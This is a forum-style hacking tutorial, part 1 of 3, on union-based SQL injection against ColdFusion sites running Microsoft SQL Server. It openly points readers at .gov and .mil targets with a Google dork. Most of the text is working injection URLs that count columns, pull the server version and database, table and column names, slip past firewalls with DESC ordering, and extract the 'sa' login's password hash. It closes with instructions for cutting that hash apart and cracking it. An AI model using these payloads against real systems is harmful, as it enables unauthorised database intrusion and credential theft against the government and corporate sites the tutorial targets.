**MSSQL injection (.cfm - Null based) - Part 1/3 - TUTORIAL**

**Author : Zyklon B**



***https://twitter.com/#!/BZyklon***

***“More knowledge you have, more efficient you will be.”***

**Introduction.**  
  
MSSQL (Microsoft SQL Server) is a database management system, so it means that the target is hosted on a computer/server. This is quite common on big websites, especially on .mil, .gov websites and big companies.   
This type of attack reputed to be the most dangerous SQL injection ever. With advanced methods, you can do much more : not only an data extraction, but commands execution and sql worms as well.  
  
Many times, the targets are hosted on these operating systems :  
Windows server 2003  
Windows server 2008 / Windows server 2008 R2  
  
Also, most common versions of Microsoft SQL Server are 2005 & 2008. The 2012 one has just been released 1 month ago, so it's not really used at the moment.  
  
Let's finnish by talking about .cfm (Coldfusion) extensions : many important targets are using that. So, with google, you know what to do...: filetype:cfm  
  
**1.0 - Let's begin**  
  
Imagine that you've found a vulnerable target to MsSQLi :

[**http://www.site.gov/albums/view.cfm?uid=1**](http://www.site.gov/albums/view.cfm?uid=1)

**1.1 - Try to find columns**  
  
Just use the basic ORDER BY function at the beginning.

[**http://www.site.gov/albums/view.cfm?uid=1**](http://www.site.gov/albums/view.cfm?uid=1) **order by 8--**

Error.

[**http://www.site.gov/albums/view.cfm?uid=1**](http://www.site.gov/albums/view.cfm?uid=1) **order by 7—**

Works.

**1.2 - Select these columns**  
  
*A -*  
  
Note: you should use UNION ALL SELECT instead of UNION SELECT, works better sometimes.

[**http://www.site.gov/albums/view.cfm?uid=1**](http://www.site.gov/albums/view.cfm?uid=1) **UNION ALL SELECT null,null,null,null,null,null,null--**

*B -*  
  
Method A won't work ? Try to null the uid value.

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,null,null,null,null,null,null—**

--  
  
So the webpage loads without error, perfect. If not, remember that MsSQL stay an SQL injection, so just check all the other threads about WAF Bypassing, Filter Evasion, ...

**1.3 Finding version.**  
  
Easy, but just check for the bold number before, if there is one. If not, just try different columns.

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,@@version,null,null,null,null,null—**

Well, many versions can appears.   
To take an example, you may see, in the case of SYBASE :  
  
Adaptive Server Enterprise/15.2/QBA 19201 SMP ESD#4/P/NT (IX86)/Windows 2003/..(and so on)

**1.4 - Find database name**  
  
Most of the time, it will contains several databases (at least 4).  
Just follow my links :

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,DB\_NAME(1),null,null,null,null,null FROM master..sysdatabases--**

1st database name appears.

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,DB\_NAME(2),null,null,null,null,null FROM master..sysdatabases--**

2nd database name appears.  
And so on.  
  
Note: to select the current database, use the DB\_NAME() instead of DB\_NAME(N).

**1.5 - Find tables name in a database**

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,name,null,null,null,null,null FROM DB\_YOU\_FOUND..sysobjects WHERE id=1--**

First table.

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,name,null,null,null,null,null FROM DB\_YOU\_FOUND..sysobjects WHERE id=2—**

Second one.  
Just continue to increase the ID value. If you're too high (table number do not exists), you will surely get an error.

**1.6 - Finding column name**

A method used would be this one add "ORDER BY" function.

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,name,null,null,null,null,null from DB\_YOU\_FOUND.syscolumns WHERE id=2 order by 1—**

So, it will select the first column of the 2nd table in the ascending order.  
Just change the ID value to change of table, and of ORDER BY N number to change of column.  
  
Note: Sometimes, a firewall will block this request ; You will need to go into a descending order to bypass this. Just add DESC after the ORDER BY N. Example :

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,name,null,null,null,null,null from DB\_YOU\_FOUND.syscolumns WHERE id=2 order by 1 DESC—**

**1.7 - Extracting data from columns**  
  
You need to know that GROUP\_CONCAT function do no exists, you can get the data one per one.  
Basically, it's the same way as for a basic SQLi :   
  
Example for MSSQL 2000 :

[**http://www.site.gov/albums/view.cfm?uid=null**](http://www.site.gov/albums/view.cfm?uid=null) **UNION ALL SELECT null,password\_hash,null,null,null,null,null FROM sys.sql\_logins WHERE name='sa'—**

**1.8 - Passwords hash**

MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.  
Anyway, if you're searching for the admin passwords (default admin username is SA), you could find a strange hash, which looks like that :

***MSSQL 2005 :***

**0x5C63305C30375C66655D5C6630695C61355C38635E595D425C39645C39385C1336765C61317A5C​63656C4B5C65615C30655C39635C6338745C66614C31635C65625C61305C31315C31305C30325C61​315C38355C6439365F275C63375C62655C6362**

***MSSQL 2000 :***

**0x0100EA1ED32230A0DC42EE75F0A8D98234E26DDFF9720590BB687641F98DE93C45E05E6406A0E1​BE291FA4D8205C**

What you must do is to cut the hash, in the following 4 parts :

**0x0100**

**EA1ED322**

**30A0DC42EE75F0A8D98234E26DDFF9720590BB68 (case sensitive hash, 40 chars)**

**7641F98DE93C45E05E6406A0E1BE291FA4D8205C**

So, the thing you need in this MSSQL2000 hash is :

**30A0DC42EE75F0A8D98234E26DDFF9720590BB68**

To crack that, there is a good software for this, called "PasswordsPro :

[**http://www.insidepro.com/eng/passwordspro.shtml**](http://www.insidepro.com/eng/passwordspro.shtml)

**\*\*\*\*\*\*\*\*\*\*\*\*\*\***